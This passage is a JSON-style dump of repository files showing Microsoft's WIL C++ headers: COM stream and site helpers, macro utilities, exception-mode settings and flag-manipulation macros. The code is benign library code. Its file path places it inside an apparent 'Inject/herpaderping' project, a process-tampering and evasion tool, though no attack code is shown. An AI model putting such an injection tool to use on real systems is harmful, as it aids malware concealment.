stream)\n {\n reset();\n\n m_stream = stream;\n m_position = wil::stream_get_position(m_stream.get());\n }\n\n /** Resets the position of the stream\n ~~~~\n IStream* stream1 = // ...\n auto saver = wil::stream_position_saver(stream1);\n MyType mt = wil::stream_read(stream1);\n if (mt.Flags & MyTypeFlags::Extended)\n {\n saver.reset();\n ProcessExtended(stream1, wil::stream_read(stream1));\n }\n else\n {\n ProcessStandard(stream1, mt);\n }\n ~~~~\n */\n void reset()\n {\n if (m_stream)\n {\n wil::stream_set_position(m_stream.get(), m_position);\n }\n }\n\n /** Stops saving the position of the stream\n ~~~~\n // The stream has either a standard or extended header, followed by interesting content.\n // Read either one, leaving the stream after the headers have been read off. On failure,\n // the stream's position is restored.\n std::pair get_headers(_In_ IStream* source)\n {\n auto saver = wil::stream_position_saver(stream1);\n MyType mt = wil::stream_read(stream1);\n MyTypeExtended mte{};\n if (mt.Flags & MyTypeFlags::Extended)\n {\n mte = wil::stream_read(stream1);\n }\n saver.dismiss();\n return { mt, mte };\n }\n ~~~~\n */\n void dismiss()\n {\n m_stream.reset();\n }\n\n stream_position_saver(stream_position_saver&&) = default;\n stream_position_saver& operator=(stream_position_saver&&) = default;\n\n stream_position_saver(const stream_position_saver&) = delete;\n void operator=(const stream_position_saver&) = delete;\n\n private:\n com_ptr m_stream;\n unsigned long long m_position;\n };\n#endif // WIL_ENABLE_EXCEPTIONS\n#pragma endregion // stream helpers\n\n#if defined(__IObjectWithSite_INTERFACE_DEFINED__)\n /// @cond\n namespace details\n {\n inline void __stdcall SetSiteNull(IObjectWithSite* objWithSite)\n {\n objWithSite->SetSite(nullptr); // break the cycle\n }\n } // details\n /// @endcond\n\n using unique_set_site_null_call = wil::unique_com_call;\n\n /** RAII support for managing the site chain. This function sets the site pointer on an object and return an object\n that resets it on destruction to break the cycle.\n Note, this does not preserve the existing site if there is one (an uncommon case) so only use this when that is not required.\n ~~~\n auto cleanup = wil::com_set_site(execCommand.get(), serviceProvider->GetAsSite());\n ~~~\n Include ocidl.h before wil\\com.h to use this.\n */\n WI_NODISCARD inline unique_set_site_null_call com_set_site(_In_opt_ IUnknown* obj, _In_opt_ IUnknown* site)\n {\n wil::com_ptr_nothrow objWithSite;\n if (site && wil::try_com_copy_to(obj, &objWithSite))\n {\n objWithSite->SetSite(site);\n }\n return unique_set_site_null_call(objWithSite.get());\n }\n\n /** Iterate over each object in a site chain. Useful for debugging site issues, here is sample use.\n ~~~\n void OutputDebugSiteChainWatchWindowText(IUnknown* site)\n {\n OutputDebugStringW(L\"Copy and paste these entries into the Visual Studio Watch Window\\n\");\n wil::for_each_site(site, [](IUnknown* site)\n {\n wchar_t msg[64];\n StringCchPrintfW(msg, ARRAYSIZE(msg), L\"((IUnknown*)0x%p)->__vfptr[0]\\n\", site);\n OutputDebugStringW(msg);\n });\n }\n */\n\n template\n void for_each_site(_In_opt_ IUnknown* siteInput, TLambda&& callback)\n {\n wil::com_ptr_nothrow site(siteInput);\n while (site)\n {\n callback(site.get());\n auto objWithSite = site.try_query();\n site.reset();\n if (objWithSite)\n {\n objWithSite->GetSite(IID_PPV_ARGS(&site));\n }\n }\n }\n\n#endif // __IObjectWithSite_INTERFACE_DEFINED__\n\n} // wil\n\n#endif\n" }, { "path": "Inject/herpaderping-main/ext/submodules/wil/common.h", "content": "//*********************************************************\n//\n// Copyright (c) Microsoft. All rights reserved.\n// This code is licensed under the MIT License.\n// THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF\n// ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED\n// TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A\n// PARTICULAR PURPOSE AND NONINFRINGEMENT.\n//\n//*********************************************************\n#ifndef __WIL_COMMON_INCLUDED\n#define __WIL_COMMON_INCLUDED\n\n#if defined(_KERNEL_MODE ) && !defined(__WIL_MIN_KERNEL)\n// This define indicates that the WIL usage is in a kernel mode context where\n// a high degree of WIL functionality is desired.\n//\n// Use (sparingly) to change behavior based on whether WIL is being used in kernel\n// mode or user mode.\n#define WIL_KERNEL_MODE\n#endif\n\n// Defining WIL_HIDE_DEPRECATED will hide everything deprecated.\n// Each wave of deprecation will add a new WIL_HIDE_DEPRECATED_YYMM number that can be used to lock deprecation at\n// a particular point, allowing components to avoid backslide and catch up to the current independently.\n#ifdef WIL_HIDE_DEPRECATED\n#define WIL_HIDE_DEPRECATED_1809\n#endif\n#ifdef WIL_HIDE_DEPRECATED_1809\n#define WIL_HIDE_DEPRECATED_1612\n#endif\n#ifdef WIL_HIDE_DEPRECATED_1612\n#define WIL_HIDE_DEPRECATED_1611\n#endif\n\n// Implementation side note: ideally the deprecation would be done with the function-level declspec\n// as it allows you to utter the error text when used. The declspec works, but doing it selectively with\n// a macro makes intellisense deprecation comments not work. So we just use the #pragma deprecation.\n#ifdef WIL_WARN_DEPRECATED\n#define WIL_WARN_DEPRECATED_1809\n#endif\n#ifdef WIL_WARN_DEPRECATED_1809\n#define WIL_WARN_DEPRECATED_1612\n#endif\n#ifdef WIL_WARN_DEPRECATED_1612\n#define WIL_WARN_DEPRECATED_1611\n#endif\n#ifdef WIL_WARN_DEPRECATED_1809\n#define WIL_WARN_DEPRECATED_1809_PRAGMA(...) __pragma(deprecated(__VA_ARGS__))\n#else\n#define WIL_WARN_DEPRECATED_1809_PRAGMA(...)\n#endif\n#ifdef WIL_WARN_DEPRECATED_1611\n#define WIL_WARN_DEPRECATED_1611_PRAGMA(...) __pragma(deprecated(__VA_ARGS__))\n#else\n#define WIL_WARN_DEPRECATED_1611_PRAGMA(...)\n#endif\n#ifdef WIL_WARN_DEPRECATED_1612\n#define WIL_WARN_DEPRECATED_1612_PRAGMA(...) __pragma(deprecated(__VA_ARGS__))\n#else\n#define WIL_WARN_DEPRECATED_1612_PRAGMA(...)\n#endif\n\n#if defined(_MSVC_LANG)\n#define __WI_SUPPRESS_4127_S __pragma(warning(push)) __pragma(warning(disable:4127)) __pragma(warning(disable:26498)) __pragma(warning(disable:4245))\n#define __WI_SUPPRESS_4127_E __pragma(warning(pop))\n#define __WI_SUPPRESS_NULLPTR_ANALYSIS __pragma(warning(suppress:28285)) __pragma(warning(suppress:6504))\n#define __WI_SUPPRESS_NONINIT_ANALYSIS __pragma(warning(suppress:26495))\n#define __WI_SUPPRESS_NOEXCEPT_ANALYSIS __pragma(warning(suppress:26439))\n#else\n#define __WI_SUPPRESS_4127_S\n#define __WI_SUPPRESS_4127_E\n#define __WI_SUPPRESS_NULLPTR_ANALYSIS\n#define __WI_SUPPRESS_NONINIT_ANALYSIS\n#define __WI_SUPPRESS_NOEXCEPT_ANALYSIS\n#endif\n\n#include \n\n// Some SAL remapping / decoration to better support Doxygen. Macros that look like function calls can\n// confuse Doxygen when they are used to decorate a function or variable. We simplify some of these to\n// basic macros without the function for common use cases.\n/// @cond\n#define _Success_return_ _Success_(return)\n#define _Success_true_ _Success_(true)\n#define __declspec_noinline_ __declspec(noinline)\n#define __declspec_selectany_ __declspec(selectany)\n/// @endcond\n\n//! @defgroup macrobuilding Macro Composition\n//! The following macros are building blocks primarily intended for authoring other macros.\n//! @{\n\n//! Re-state a macro value (indirection for composition)\n#define WI_FLATTEN(...) __VA_ARGS__\n\n/// @cond\n#define __WI_PASTE_imp(a, b) a##b\n/// @endcond\n\n//! This macro is for use in other macros to paste two tokens together, such as a constant and the __LINE__ macro.\n#define WI_PASTE(a, b) __WI_PASTE_imp(a, b)\n\n/// @cond\n#define __WI_HAS_VA_OPT_IMPL(F, T, ...) T\n#define __WI_HAS_VA_OPT_(...) __WI_HAS_VA_OPT_IMPL(__VA_OPT__(0,) 1, 0)\n/// @endcond\n\n//! Evaluates to '1' when support for '__VA_OPT__' is available, else '0'\n#define WI_HAS_VA_OPT __WI_HAS_VA_OPT_(unused)\n\n/// @cond\n#define __WI_ARGS_COUNT1(A0, A1, A2, A3, A4, A5, A6, A7, A8, A9, A10, A11, A12, A13, A14, A15, A16, A17, A18, A19, A20, A21, A22, A23, A24, A25, A26, A27, A28, A29, \\\n A30, A31, A32, A33, A34, A35, A36, A37, A38, A39, A40, A41, A42, A43, A44, A45, A46, A47, A48, A49, A50, A51, A52, A53, A54, A55, A56, A57, A58, A59, \\\n A60, A61, A62, A63, A64, A65, A66, A67, A68, A69, A70, A71, A72, A73, A74, A75, A76, A77, A78, A79, A80, A81, A82, A83, A84, A85, A86, A87, A88, A89, \\\n A90, A91, A92, A93, A94, A95, A96, A97, A98, A99, count, ...) count\n#define __WI_ARGS_COUNT0(...) WI_FLATTEN(__WI_ARGS_COUNT1(__VA_ARGS__, 99, 98, 97, 96, 95, 94, 93, 92, 91, 90, 89, 88, 87, 86, 85, 84, 83, 82, 81, 80, \\\n 79, 78, 77, 76, 75, 74, 73, 72, 71, 70, 69, 68, 67, 66, 65, 64, 63, 62, 61, 60, 59, 58, 57, 56, 55, 54, 53, 52, 51, 50, 49, 48, 47, 46, 45, 44, 43, 42, 41, 40, \\\n 39, 38, 37, 36, 35, 34, 33, 32, 31, 30, 29, 28, 27, 26, 25, 24, 23, 22, 21, 20, 19, 18, 17, 16, 15, 14, 13, 12, 11, 10, 9, 8, 7, 6, 5, 4, 3, 2, 1, 0))\n#define __WI_ARGS_COUNT_PREFIX(...) 0, __VA_ARGS__\n/// @endcond\n\n//! This variadic macro returns the number of arguments passed to it (up to 99).\n#if WI_HAS_VA_OPT\n#define WI_ARGS_COUNT(...) __WI_ARGS_COUNT0(0 __VA_OPT__(, __VA_ARGS__))\n#else\n#define WI_ARGS_COUNT(...) __WI_ARGS_COUNT0(__WI_ARGS_COUNT_PREFIX(__VA_ARGS__))\n#endif\n\n/// @cond\n#define __WI_FOR_imp0( fn)\n#define __WI_FOR_imp1( fn, arg) fn(arg)\n#define __WI_FOR_imp2( fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp1(fn, __VA_ARGS__))\n#define __WI_FOR_imp3( fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp2(fn, __VA_ARGS__))\n#define __WI_FOR_imp4( fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp3(fn, __VA_ARGS__))\n#define __WI_FOR_imp5( fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp4(fn, __VA_ARGS__))\n#define __WI_FOR_imp6( fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp5(fn, __VA_ARGS__))\n#define __WI_FOR_imp7( fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp6(fn, __VA_ARGS__))\n#define __WI_FOR_imp8( fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp7(fn, __VA_ARGS__))\n#define __WI_FOR_imp9( fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp8(fn, __VA_ARGS__))\n#define __WI_FOR_imp10(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp9(fn, __VA_ARGS__))\n#define __WI_FOR_imp11(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp10(fn, __VA_ARGS__))\n#define __WI_FOR_imp12(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp11(fn, __VA_ARGS__))\n#define __WI_FOR_imp13(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp12(fn, __VA_ARGS__))\n#define __WI_FOR_imp14(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp13(fn, __VA_ARGS__))\n#define __WI_FOR_imp15(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp14(fn, __VA_ARGS__))\n#define __WI_FOR_imp16(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp15(fn, __VA_ARGS__))\n#define __WI_FOR_imp17(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp16(fn, __VA_ARGS__))\n#define __WI_FOR_imp18(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp17(fn, __VA_ARGS__))\n#define __WI_FOR_imp19(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp18(fn, __VA_ARGS__))\n#define __WI_FOR_imp20(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp19(fn, __VA_ARGS__))\n#define __WI_FOR_imp21(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp20(fn, __VA_ARGS__))\n#define __WI_FOR_imp22(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp21(fn, __VA_ARGS__))\n#define __WI_FOR_imp23(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp22(fn, __VA_ARGS__))\n#define __WI_FOR_imp24(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp23(fn, __VA_ARGS__))\n#define __WI_FOR_imp25(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp24(fn, __VA_ARGS__))\n#define __WI_FOR_imp26(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp25(fn, __VA_ARGS__))\n#define __WI_FOR_imp27(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp26(fn, __VA_ARGS__))\n#define __WI_FOR_imp28(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp27(fn, __VA_ARGS__))\n#define __WI_FOR_imp29(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp28(fn, __VA_ARGS__))\n#define __WI_FOR_imp30(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp29(fn, __VA_ARGS__))\n#define __WI_FOR_imp31(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp30(fn, __VA_ARGS__))\n#define __WI_FOR_imp32(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp31(fn, __VA_ARGS__))\n#define __WI_FOR_imp33(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp32(fn, __VA_ARGS__))\n#define __WI_FOR_imp34(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp33(fn, __VA_ARGS__))\n#define __WI_FOR_imp35(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp34(fn, __VA_ARGS__))\n#define __WI_FOR_imp36(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp35(fn, __VA_ARGS__))\n#define __WI_FOR_imp37(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp36(fn, __VA_ARGS__))\n#define __WI_FOR_imp38(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp37(fn, __VA_ARGS__))\n#define __WI_FOR_imp39(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp38(fn, __VA_ARGS__))\n#define __WI_FOR_imp40(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp39(fn, __VA_ARGS__))\n#define __WI_FOR_imp41(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp40(fn, __VA_ARGS__))\n#define __WI_FOR_imp42(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp41(fn, __VA_ARGS__))\n#define __WI_FOR_imp43(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp42(fn, __VA_ARGS__))\n#define __WI_FOR_imp44(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp43(fn, __VA_ARGS__))\n#define __WI_FOR_imp45(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp44(fn, __VA_ARGS__))\n#define __WI_FOR_imp46(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp45(fn, __VA_ARGS__))\n#define __WI_FOR_imp47(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp46(fn, __VA_ARGS__))\n#define __WI_FOR_imp48(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp47(fn, __VA_ARGS__))\n#define __WI_FOR_imp49(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp48(fn, __VA_ARGS__))\n#define __WI_FOR_imp50(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp49(fn, __VA_ARGS__))\n#define __WI_FOR_imp51(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp50(fn, __VA_ARGS__))\n#define __WI_FOR_imp52(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp51(fn, __VA_ARGS__))\n#define __WI_FOR_imp53(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp52(fn, __VA_ARGS__))\n#define __WI_FOR_imp54(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp53(fn, __VA_ARGS__))\n#define __WI_FOR_imp55(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp54(fn, __VA_ARGS__))\n#define __WI_FOR_imp56(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp55(fn, __VA_ARGS__))\n#define __WI_FOR_imp57(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp56(fn, __VA_ARGS__))\n#define __WI_FOR_imp58(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp57(fn, __VA_ARGS__))\n#define __WI_FOR_imp59(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp58(fn, __VA_ARGS__))\n#define __WI_FOR_imp60(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp59(fn, __VA_ARGS__))\n#define __WI_FOR_imp61(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp60(fn, __VA_ARGS__))\n#define __WI_FOR_imp62(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp61(fn, __VA_ARGS__))\n#define __WI_FOR_imp63(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp62(fn, __VA_ARGS__))\n#define __WI_FOR_imp64(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp63(fn, __VA_ARGS__))\n#define __WI_FOR_imp65(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp64(fn, __VA_ARGS__))\n#define __WI_FOR_imp66(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp65(fn, __VA_ARGS__))\n#define __WI_FOR_imp67(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp66(fn, __VA_ARGS__))\n#define __WI_FOR_imp68(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp67(fn, __VA_ARGS__))\n#define __WI_FOR_imp69(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp68(fn, __VA_ARGS__))\n#define __WI_FOR_imp70(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp69(fn, __VA_ARGS__))\n#define __WI_FOR_imp71(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp70(fn, __VA_ARGS__))\n#define __WI_FOR_imp72(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp71(fn, __VA_ARGS__))\n#define __WI_FOR_imp73(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp72(fn, __VA_ARGS__))\n#define __WI_FOR_imp74(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp73(fn, __VA_ARGS__))\n#define __WI_FOR_imp75(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp74(fn, __VA_ARGS__))\n#define __WI_FOR_imp76(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp75(fn, __VA_ARGS__))\n#define __WI_FOR_imp77(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp76(fn, __VA_ARGS__))\n#define __WI_FOR_imp78(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp77(fn, __VA_ARGS__))\n#define __WI_FOR_imp79(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp78(fn, __VA_ARGS__))\n#define __WI_FOR_imp80(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp79(fn, __VA_ARGS__))\n#define __WI_FOR_imp81(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp80(fn, __VA_ARGS__))\n#define __WI_FOR_imp82(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp81(fn, __VA_ARGS__))\n#define __WI_FOR_imp83(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp82(fn, __VA_ARGS__))\n#define __WI_FOR_imp84(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp83(fn, __VA_ARGS__))\n#define __WI_FOR_imp85(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp84(fn, __VA_ARGS__))\n#define __WI_FOR_imp86(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp85(fn, __VA_ARGS__))\n#define __WI_FOR_imp87(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp86(fn, __VA_ARGS__))\n#define __WI_FOR_imp88(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp87(fn, __VA_ARGS__))\n#define __WI_FOR_imp89(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp88(fn, __VA_ARGS__))\n#define __WI_FOR_imp90(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp89(fn, __VA_ARGS__))\n#define __WI_FOR_imp91(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp90(fn, __VA_ARGS__))\n#define __WI_FOR_imp92(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp91(fn, __VA_ARGS__))\n#define __WI_FOR_imp93(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp92(fn, __VA_ARGS__))\n#define __WI_FOR_imp94(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp93(fn, __VA_ARGS__))\n#define __WI_FOR_imp95(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp94(fn, __VA_ARGS__))\n#define __WI_FOR_imp96(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp95(fn, __VA_ARGS__))\n#define __WI_FOR_imp97(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp96(fn, __VA_ARGS__))\n#define __WI_FOR_imp98(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp97(fn, __VA_ARGS__))\n#define __WI_FOR_imp99(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp98(fn, __VA_ARGS__))\n\n#define __WI_FOR_imp(n, fnAndArgs) WI_PASTE(__WI_FOR_imp, n) fnAndArgs\n/// @endcond\n\n//! Iterates through each of the given arguments invoking the specified macro against each one.\n#define WI_FOREACH(fn, ...) __WI_FOR_imp(WI_ARGS_COUNT(__VA_ARGS__), (fn, ##__VA_ARGS__))\n\n//! Dispatches a single macro name to separate macros based on the number of arguments passed to it.\n#define WI_MACRO_DISPATCH(name, ...) WI_PASTE(WI_PASTE(name, WI_ARGS_COUNT(__VA_ARGS__)), (__VA_ARGS__))\n\n//! @} // Macro composition helpers\n\n#if !defined(__cplusplus) || defined(__WIL_MIN_KERNEL)\n\n#define WI_ODR_PRAGMA(NAME, TOKEN)\n#define WI_NOEXCEPT\n\n#else\n#pragma warning(push)\n#pragma warning(disable:4714) // __forceinline not honored\n\n// DO NOT add *any* further includes to this file -- there should be no dependencies from its usage\n#include \"wistd_type_traits.h\"\n\n//! This macro inserts ODR violation protection; the macro allows it to be compatible with straight \"C\" code\n#define WI_ODR_PRAGMA(NAME, TOKEN) __pragma(detect_mismatch(\"ODR_violation_\" NAME \"_mismatch\", TOKEN))\n\n#ifdef WIL_KERNEL_MODE\nWI_ODR_PRAGMA(\"WIL_KERNEL_MODE\", \"1\")\n#else\nWI_ODR_PRAGMA(\"WIL_KERNEL_MODE\", \"0\")\n#endif\n\n#if defined(_CPPUNWIND) && !defined(WIL_SUPPRESS_EXCEPTIONS)\n/** This define is automatically set when exceptions are enabled within wil.\nIt is automatically defined when your code is compiled with exceptions enabled (via checking for the built-in\n_CPPUNWIND flag) unless you explicitly define WIL_SUPPRESS_EXCEPTIONS ahead of including your first wil\nheader. All exception-based WIL methods and classes are included behind:\n~~~~\n#ifdef WIL_ENABLE_EXCEPTIONS\n// code\n#endif\n~~~~\nThis enables exception-free code to directly include WIL headers without worrying about exception-based\nroutines suddenly becoming available. */\n#define WIL_ENABLE_EXCEPTIONS\n#endif\n/// @endcond\n\n/// @cond\n#if defined(WIL_EXCEPTION_MODE)\nstatic_assert(WIL_EXCEPTION_MODE <= 2, \"Invalid exception mode\");\n#elif !defined(WIL_LOCK_EXCEPTION_MODE)\n#define WIL_EXCEPTION_MODE 0 // default, can link exception-based and non-exception based libraries together\n#pragma detect_mismatch(\"ODR_violation_WIL_EXCEPTION_MODE_mismatch\", \"0\")\n#elif defined(WIL_ENABLE_EXCEPTIONS)\n#define WIL_EXCEPTION_MODE 1 // new code optimization: ONLY support linking libraries together that have exceptions enabled\n#pragma detect_mismatch(\"ODR_violation_WIL_EXCEPTION_MODE_mismatch\", \"1\")\n#else\n#define WIL_EXCEPTION_MODE 2 // old code optimization: ONLY support linking libraries that are NOT using exceptions\n#pragma detect_mismatch(\"ODR_violation_WIL_EXCEPTION_MODE_mismatch\", \"2\")\n#endif\n\n#if WIL_EXCEPTION_MODE == 1 && !defined(WIL_ENABLE_EXCEPTIONS)\n#error Must enable exceptions when WIL_EXCEPTION_MODE == 1\n#endif\n\n// block for documentation only\n#if defined(WIL_DOXYGEN)\n/** This define can be explicitly set to disable exception usage within wil.\nNormally this define is never needed as the WIL_ENABLE_EXCEPTIONS macro is enabled automatically by looking\nat _CPPUNWIND. If your code compiles with exceptions enabled, but does not want to enable the exception-based\nclasses and methods from WIL, define this macro ahead of including the first WIL header. */\n#define WIL_SUPPRESS_EXCEPTIONS\n\n/** This define can be explicitly set to lock the process exception mode to WIL_ENABLE_EXCEPTIONS.\nLocking the exception mode provides optimizations to exception barriers, staging hooks and DLL load costs as it eliminates the need to\ndo copy-on-write initialization of various function pointers and the necessary indirection that's done within WIL to avoid ODR violations\nwhen linking libraries together with different exception handling semantics. */\n#define WIL_LOCK_EXCEPTION_MODE\n\n/** This define explicit sets the exception mode for the process to control optimizations.\nThree exception modes are available:\n0) This is the default. This enables a binary to link both exception-based and non-exception based libraries together that\n use WIL. This adds overhead to exception barriers, DLL copy on write pages and indirection through function pointers to avoid ODR\n violations when linking libraries together with different exception handling semantics.\n1) Prefer this setting when it can be used. This locks the binary to only supporting libraries which were built with exceptions enabled.\n2) This locks the binary to libraries built without exceptions. */\n#define WIL_EXCEPTION_MODE\n#endif\n\n#if (__cplusplus >= 201703) || (_MSVC_LANG >= 201703)\n#define WIL_HAS_CXX_17 1\n#else\n#define WIL_HAS_CXX_17 0\n#endif\n\n// Until we'll have C++17 enabled in our code base, we're falling back to SAL\n#define WI_NODISCARD __WI_LIBCPP_NODISCARD_ATTRIBUTE\n\n#define __R_ENABLE_IF_IS_CLASS(ptrType) wistd::enable_if_t::value, void*> = (void*)0\n#define __R_ENABLE_IF_IS_NOT_CLASS(ptrType) wistd::enable_if_t::value, void*> = (void*)0\n\n//! @defgroup bitwise Bitwise Inspection and Manipulation\n//! Bitwise helpers to improve readability and reduce the error rate of bitwise operations.\n//! Several macros have been constructed to assist with bitwise inspection and manipulation. These macros exist\n//! for two primary purposes:\n//!\n//! 1. To improve the readability of bitwise comparisons and manipulation.\n//!\n//! The macro names are the more concise, readable form of what's being done and do not require that any flags\n//! or variables be specified multiple times for the comparisons.\n//!\n//! 2. To reduce the error rate associated with bitwise operations.\n//!\n//! The readability improvements naturally lend themselves to this by cutting down the number of concepts.\n//! Using `WI_IsFlagSet(var, MyEnum::Flag)` rather than `((var & MyEnum::Flag) == MyEnum::Flag)` removes the comparison\n//! operator and repetition in the flag value.\n//!\n//! Additionally, these macros separate single flag operations (which tend to be the most common) from multi-flag\n//! operations so that compile-time errors are generated for bitwise operations which are likely incorrect,\n//! such as: `WI_IsFlagSet(var, MyEnum::None)` or `WI_IsFlagSet(var, MyEnum::ValidMask)`.\n//!\n//! Note that the single flag helpers should be used when a compile-time constant single flag is being manipulated. These\n//! helpers provide compile-time errors on misuse and should be preferred over the multi-flag helpers. The multi-flag helpers\n//! should be used when multiple flags are being used simultaneously or when the flag values are not compile-time constants.\n//!\n//! Common example usage (manipulation of flag variables):\n//! ~~~~\n//! WI_SetFlag(m_flags, MyFlags::Foo); // Set a single flag in the given variable\n//! WI_SetAllFlags(m_flags, MyFlags::Foo | MyFlags::Bar); // Set one or more flags\n//! WI_ClearFlagIf(m_flags, MyFlags::Bar, isBarClosed); // Conditionally clear a single flag based upon a bool\n//! WI_ClearAllFlags(m_flags, MyFlags::Foo | MyFlags::Bar); // Clear one or more flags from the given variable\n//! WI_ToggleFlag(m_flags, MyFlags::Foo); // Toggle (change to the opposite value) a single flag\n//! WI_UpdateFlag(m_flags, MyFlags::Bar, isBarClosed); // Sets or Clears a single flag from the given variable based upon a bool value\n//! WI_UpdateFlagsInMask(m_flags, flagsMask, newFlagValues); // Sets or Clears the flags in flagsMask to the masked values from newFlagValues\n//! ~~~~\n//! Common example usage (inspection of flag variables):\n//! ~~~~\n//! if (WI_IsFlagSet(m_flags, MyFlags::Foo)) // Is a single flag set in the given variable?\n//! if (WI_IsAnyFlagSet(m_flags, MyFlags::Foo | MyFlags::Bar)) // Is at least one flag from the given mask set?\n//! if (WI_AreAllFlagsClear(m_flags, MyFlags::Foo | MyFlags::Bar)) // Are all flags in the given list clear?\n//! if 